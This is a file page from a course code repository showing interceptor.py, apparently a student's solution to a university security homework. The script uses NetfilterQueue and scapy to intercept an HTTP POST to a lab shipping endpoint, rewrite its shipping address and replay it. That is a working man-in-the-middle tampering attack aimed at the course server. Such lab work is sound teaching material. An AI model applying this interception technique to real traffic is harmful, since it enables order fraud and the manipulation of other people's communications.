Page Menu
Home
c4science
Search
Configure Global Search
Log In
Files
F102782157
interceptor.py
No One
Temporary
Actions
Download File
Edit File
Delete File
View Transforms
Subscribe
Mute Notifications
Award Token
Subscribers
None
File Metadata
Details
File Info
Storage
Attached
Created
Mon, Feb 24, 03:27
Size
1 KB
Mime Type
text/x-python
Expires
Wed, Feb 26, 03:27 (1 d, 23 h)
Engine
blob
Format
Raw Data
Handle
24423602
Attached To
R6092 InfoSec
interceptor.py
View Options
from
netfilterqueue
import
NetfilterQueue
from
scapy.all
import
*
import
json
import
requests
done
=
False
def
callback
(
pkt
):
global
done
if
not
done
:
print
(
pkt
)
ip
=
IP
(
pkt
.
get_payload
())
if
ip
.
haslayer
(
Raw
):
http
=
ip
[
Raw
]
.
load
.
decode
()
http
=
http
.
splitlines
()
if
http
[
0
]
==
"POST /hw1/ex3/shipping HTTP/1.1"
:
print
(
http
)
print
(
json
.
loads
(
http
[
-
1
]))
payload
=
json
.
loads
(
http
[
-
1
])
#header={}
#header['Content_Type'] = 'application/json'
#header['User-Agent'] = 'Dumb Generator'
address
=
'dennis.gankin@epfl.ch'
key
=
payload
[
'product'
]
payload
[
'shipping_address'
]
=
address
print
(
payload
)
r
=
requests
.
post
(
'http://com402.epfl.ch/hw1/ex3/shipping'
,
json
=
payload
)
print
(
r
.
text
)
done
=
True
pkt
.
accept
()
nfq
=
NetfilterQueue
()
nfq
.
bind
(
0
,
callback
,
100
)
try
:
nfq
.
run
()
except
KeyboardInterrupt
:
print
(
''
)
nfq
.
unbind
()
#WX+Umvw7dmzM7VS+06Tol3OAoBG2gKJDxELOlk/Xd2M=
#'shipping_address': 'lausanne', 'product': '9HF5yyMjbmmbcf1S0VA/qTel467giWASeIxeeYMS80c='
Event Timeline
Log In to Comment